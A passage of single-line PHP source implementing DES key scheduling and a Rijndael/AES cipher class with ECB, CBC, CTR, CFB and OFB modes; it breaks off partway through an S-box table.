(($key[0] & 0x10000000) >> 28) , (($key[1] & 0x00000080) << 20) | (($key[1] & 0x00008000) << 11) | (($key[1] & 0x00800000) << 2) | (($key[0] & 0x00000080) << 16) | (($key[0] & 0x00008000) << 7) | (($key[0] & 0x00800000) >> 2) | (($key[1] & 0x00000040) << 13) | (($key[1] & 0x00004000) << 4) | (($key[1] & 0x00400000) >> 5) | (($key[1] & 0x40000000) >> 14) | (($key[0] & 0x00000040) << 9) | ($key[0] & 0x00004000) | (($key[0] & 0x00400000) >> 9) | (($key[0] & 0x40000000) >> 18) | (($key[1] & 0x00000020) << 6) | (($key[1] & 0x00002000) >> 3) | (($key[1] & 0x00200000) >> 12) | (($key[1] & 0x20000000) >> 21) | (($key[0] & 0x00000020) << 2) | (($key[0] & 0x00002000) >> 7) | (($key[0] & 0x00200000) >> 16) | (($key[0] & 0x20000000) >> 25) | (($key[1] & 0x00000010) >> 1) | (($key[1] & 0x00001000) >> 10) | (($key[1] & 0x00100000) >> 19) | (($key[1] & 0x10000000) >> 28) | ($msb[1] << 24) | ($msb[0] << 20) ); $keys = array(); for ($i = 0; $i < 16; $i++) { $key[0] <<= $shifts[$i]; $temp = ($key[0] & 0xF0000000) >> 28; $key[0] = ($key[0] | $temp) & 0x0FFFFFFF; $key[1] <<= $shifts[$i]; $temp = ($key[1] & 0xF0000000) >> 28; $key[1] = ($key[1] | $temp) & 0x0FFFFFFF; $temp = array( (($key[1] & 0x00004000) >> 9) | (($key[1] & 0x00000800) >> 7) | (($key[1] & 0x00020000) >> 14) | (($key[1] & 0x00000010) >> 2) | (($key[1] & 0x08000000) >> 26) | (($key[1] & 0x00800000) >> 23) , (($key[1] & 0x02400000) >> 20) | (($key[1] & 0x00000001) << 4) | (($key[1] & 0x00002000) >> 10) | (($key[1] & 0x00040000) >> 18) | (($key[1] & 0x00000080) >> 6) , ($key[1] & 0x00000020) | (($key[1] & 0x00000200) >> 5) | (($key[1] & 0x00010000) >> 13) | (($key[1] & 0x01000000) >> 22) | (($key[1] & 0x00000004) >> 1) | (($key[1] & 0x00100000) >> 20) , (($key[1] & 0x00001000) >> 7) | (($key[1] & 0x00200000) >> 17) | (($key[1] & 0x00000002) << 2) | (($key[1] & 0x00000100) >> 6) | (($key[1] & 0x00008000) >> 14) | (($key[1] & 0x04000000) >> 26) , (($key[0] & 0x00008000) >> 10) | ($key[0] & 0x00000010) | (($key[0] & 0x02000000) >> 22) | (($key[0] & 0x00080000) >> 17) | (($key[0] & 0x00000200) >> 8) | (($key[0] & 0x00000002) >> 1) , (($key[0] & 0x04000000) >> 21) | (($key[0] & 0x00010000) >> 12) | (($key[0] & 0x00000020) >> 2) | (($key[0] & 0x00000800) >> 9) | (($key[0] & 0x00800000) >> 22) | (($key[0] & 0x00000100) >> 8) , (($key[0] & 0x00001000) >> 7) | (($key[0] & 0x00000088) >> 3) | (($key[0] & 0x00020000) >> 14) | (($key[0] & 0x00000001) << 2) | (($key[0] & 0x00400000) >> 21) , (($key[0] & 0x00000400) >> 5) | (($key[0] & 0x00004000) >> 10) | (($key[0] & 0x00000040) >> 3) | (($key[0] & 0x00100000) >> 18) | (($key[0] & 0x08000000) >> 26) | (($key[0] & 0x01000000) >> 24) ); $keys[] = $temp; } $temp = array( CRYPT_DES_ENCRYPT => $keys, CRYPT_DES_DECRYPT => array_reverse($keys) ); return $temp; } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_DES_MODE_3CBC', -2); define('CRYPT_DES_MODE_CBC3', CRYPT_DES_MODE_CBC); define('CRYPT_RIJNDAEL_MODE_CTR', -1); define('CRYPT_RIJNDAEL_MODE_ECB', 1); define('CRYPT_RIJNDAEL_MODE_CBC', 2); define('CRYPT_RIJNDAEL_MODE_CFB', 3); define('CRYPT_RIJNDAEL_MODE_OFB', 4); define('CRYPT_RIJNDAEL_MODE_INTERNAL', 1); define('CRYPT_RIJNDAEL_MODE_MCRYPT', 2); class Crypt_Rijndael { var $mode; var $key = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; var $iv = ''; var $encryptIV = ''; var $decryptIV = ''; var $continuousBuffer = false; var $padding = true; var $changed = true; var $explicit_key_length = false; var $w; var $dw; var $block_size = 16; var $Nb = 4; var $key_size = 16; var $Nk = 4; var $Nr; var $c; var $t0; var $t1; var $t2; var $t3; var $dt0; var $dt1; var $dt2; var $dt3; var $paddable = false; var $enbuffer = array( 'encrypted' => '', 'xor' => '' ); var $debuffer = array( 'ciphertext' => '' ); function Crypt_Rijndael($mode = CRYPT_RIJNDAEL_MODE_CBC) { switch ($mode) { case CRYPT_RIJNDAEL_MODE_ECB: case CRYPT_RIJNDAEL_MODE_CBC: $this->paddable = true; $this->mode = $mode; break; case CRYPT_RIJNDAEL_MODE_CTR: case CRYPT_RIJNDAEL_MODE_CFB: case CRYPT_RIJNDAEL_MODE_OFB: $this->mode = $mode; break; default: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_CBC; } $t3 = & $this->t3; $t2 = & $this->t2; $t1 = & $this->t1; $t0 = & $this->t0; $dt3 = & $this->dt3; $dt2 = & $this->dt2; $dt1 = & $this->dt1; $dt0 = & $this->dt0; $t3 = array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE, 0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41, 0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5, 0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830, 0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458, 0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6, 0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0, 0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0, 0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF, 0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793, 0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B, 0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92, 0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E, 0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F, 0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D, 0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117, 0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215, 0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382, 0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C ); $dt3 = array( 0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5, 0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95, 0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5, 0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66, 0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506, 0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D, 0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C, 0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24, 0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2, 0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8, 0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9, 0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F, 0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710, 0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629, 0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43, 0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D, 0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F, 0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064, 0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0 ); for ($i = 0; $i < 256; $i++) { $t2[$i << 8] = (($t3[$i] << 8) & 0xFFFFFF00) | (($t3[$i] >> 24) & 0x000000FF); $t1[$i << 16] = (($t3[$i] << 16) & 0xFFFF0000) | (($t3[$i] >> 16) & 0x0000FFFF); $t0[$i << 24] = (($t3[$i] << 24) & 0xFF000000) | (($t3[$i] >> 8) & 0x00FFFFFF); $dt2[$i << 8] = (($this->dt3[$i] << 8) & 0xFFFFFF00) | (($dt3[$i] >> 24) & 0x000000FF); $dt1[$i << 16] = (($this->dt3[$i] << 16) & 0xFFFF0000) | (($dt3[$i] >> 16) & 0x0000FFFF); $dt0[$i << 24] = (($this->dt3[$i] << 24) & 0xFF000000) | (($dt3[$i] >> 8) & 0x00FFFFFF); } } function setKey($key) { $this->key = $key; $this->changed = true; } function setIV($iv) { $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($iv, 0, $this->block_size) , $this->block_size, chr(0));; } function setKeyLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; $this->explicit_key_length = true; $this->changed = true; } function setBlockLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nb = $length; $this->block_size = $length << 2; $this->changed = true; } function _generate_xor($length, &$iv) { $xor = ''; $block_size = $this->block_size; $num_blocks = floor(($length + ($block_size - 1)) / $block_size); for ($i = 0; $i < $num_blocks; $i++) { $xor.= $iv; for ($j = 4; $j <= $block_size; $j+= 4) { $temp = substr($iv, -$j, 4); switch ($temp) { case "\xFF\xFF\xFF\xFF": $iv = substr_replace($iv, "\x00\x00\x00\x00", -$j, 4); break; case "\x7F\xFF\xFF\xFF": $iv = substr_replace($iv, "\x80\x00\x00\x00", -$j, 4); break 2; default: extract(unpack('Ncount', $temp)); $iv = substr_replace($iv, pack('N', $count + 1) , -$j, 4); break 2; } } } return $xor; } function encrypt($plaintext) { $this->_setup(); if ($this->paddable) { $plaintext = $this->_pad($plaintext); } $block_size = $this->block_size; $buffer = & $this->enbuffer; $continuousBuffer = $this->continuousBuffer; $ciphertext = ''; switch ($this->mode) { case CRYPT_RIJNDAEL_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $ciphertext.= $this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case CRYPT_RIJNDAEL_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_RIJNDAEL_MODE_CTR: $xor = $this->encryptIV; if (!empty($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $buffer.= $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $key = $this->_string_shift($buffer, $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_RIJNDAEL_MODE_CFB: if (!empty($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $iv = $buffer['encrypted'] . $ciphertext; $start = strlen($ciphertext); $buffer['encrypted'].= $ciphertext; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); } else { $ciphertext = ''; $iv = $this->encryptIV; $start = 0; } for ($i = $start; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $xor = $this->_encryptBlock($iv); $iv = $block ^ $xor; if ($continuousBuffer && strlen($iv) != $block_size) { $buffer = array( 'encrypted' => $iv, 'xor' => substr($xor, strlen($iv)) ); } $ciphertext.= $iv; } if ($this->continuousBuffer) { $this->encryptIV = $iv; } break; case CRYPT_RIJNDAEL_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $buffer.= $xor; $key = $this->_string_shift($buffer, $block_size); $ciphertext.= substr($plaintext, $i, $block_size) ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.= substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } } return $ciphertext; } function decrypt($ciphertext) { $this->_setup(); if ($this->paddable) { $ciphertext = str_pad($ciphertext, strlen($ciphertext) + ($this->block_size - strlen($ciphertext) % $this->block_size) % $this->block_size, chr(0)); } $block_size = $this->block_size; $buffer = & $this->debuffer; $continuousBuffer = $this->continuousBuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_RIJNDAEL_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $plaintext.= $this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case CRYPT_RIJNDAEL_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_RIJNDAEL_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $buffer.= $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $key = $this->_string_shift($buffer, $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_RIJNDAEL_MODE_CFB: if (!empty($buffer['ciphertext'])) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($buffer['ciphertext'])); $buffer['ciphertext'].= substr($ciphertext, 0, strlen($plaintext)); if (strlen($buffer['ciphertext']) == $block_size) { $xor = $this->_encryptBlock($buffer['ciphertext']); $buffer['ciphertext'] = ''; } $start = strlen($plaintext); $block = $this->decryptIV; } else { $plaintext = ''; $xor = $this->_encryptBlock($this->decryptIV); $start = 0; } for ($i = $start; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $block ^ $xor; if ($continuousBuffer && strlen($block) != $block_size) { $buffer['ciphertext'].= $block; $block = $xor; } else if (strlen($block) == $block_size) { $xor = $this->_encryptBlock($block); } } if ($this->continuousBuffer) { $this->decryptIV = $block; } break; case CRYPT_RIJNDAEL_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $buffer.= $xor; $key = $this->_string_shift($buffer, $block_size); $plaintext.= substr($ciphertext, $i, $block_size) ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $plaintext.= substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } function _encryptBlock($in) { $state = array(); $words = unpack('N*word', $in); $w = $this->w; $t0 = $this->t0; $t1 = $this->t1; $t2 = $this->t2; $t3 = $this->t3; $Nb = $this->Nb; $Nr = $this->Nr; $c = $this->c; $i = 0; foreach($words as $word) { $state[] = $word ^ $w[0][$i++]; } $temp = array(); for ($round = 1; $round < $Nr; $round++) { $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $this->Nb) { $temp[$i] = $t0[$state[$i] & 0xFF000000] ^ $t1[$state[$j] & 0x00FF0000] ^ $t2[$state[$k] & 0x0000FF00] ^ $t3[$state[$l] & 0x000000FF] ^ $w[$round][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $temp[$i]; } } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $this->_subWord($state[$i]); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $this->Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] & 0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$Nr][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; array_unshift($state, 'N*'); return call_user_func_array('pack', $state); } function _decryptBlock($in) { $state = array(); $words = unpack('N*word', $in); $num_states = count($state); $dw = $this->dw; $dt0 = $this->dt0; $dt1 = $this->dt1; $dt2 = $this->dt2; $dt3 = $this->dt3; $Nb = $this->Nb; $Nr = $this->Nr; $c = $this->c; $i = 0; foreach($words as $word) { $state[] = $word ^ $dw[$Nr][$i++]; } $temp = array(); for ($round = $Nr - 1; $round > 0; $round--) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dt0[$state[$i] & 0xFF000000] ^ $dt1[$state[$j] & 0x00FF0000] ^ $dt2[$state[$k] & 0x0000FF00] ^ $dt3[$state[$l] & 0x000000FF] ^ $dw[$round][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $temp[$i]; } } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dw[0][$i] ^ $this->_invSubWord(($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF)); $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; array_unshift($state, 'N*'); return call_user_func_array('pack', $state); } function _setup() { static $rcon = array( 0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000, 0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000 ); if (!$this->changed) { return; } if (!$this->explicit_key_length) { $length = strlen($this->key) >> 2; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; } $this->key = str_pad(substr($this->key, 0, $this->key_size) , $this->key_size, chr(0)); $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($this->iv, 0, $this->block_size) , $this->block_size, chr(0)); $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c = array( 0, 1, 2, 3 ); break; case 7: $this->c = array( 0, 1, 2, 4 ); break; case 8: $this->c = array( 0, 1, 3, 4 ); } $key = $this->key; $w = array_values(unpack('N*words', $key)); $length = $this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >> 24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } else if ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] = $w[$i - $this->Nk] ^ $temp; } $temp = array(); for ($i = $row = $col = 0; $i < $length; $i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]); $temp[$j] = $this->dt0[$dw & 0xFF000000] ^ $this->dt1[$dw & 0x00FF0000] ^ $this->dt2[$dw & 0x0000FF00] ^ $this->dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; } $col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->changed = false; } function _subWord($word) { static $sbox0, $sbox1, $sbox2, $sbox3; if (empty($sbox0)) { $sbox0 = array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 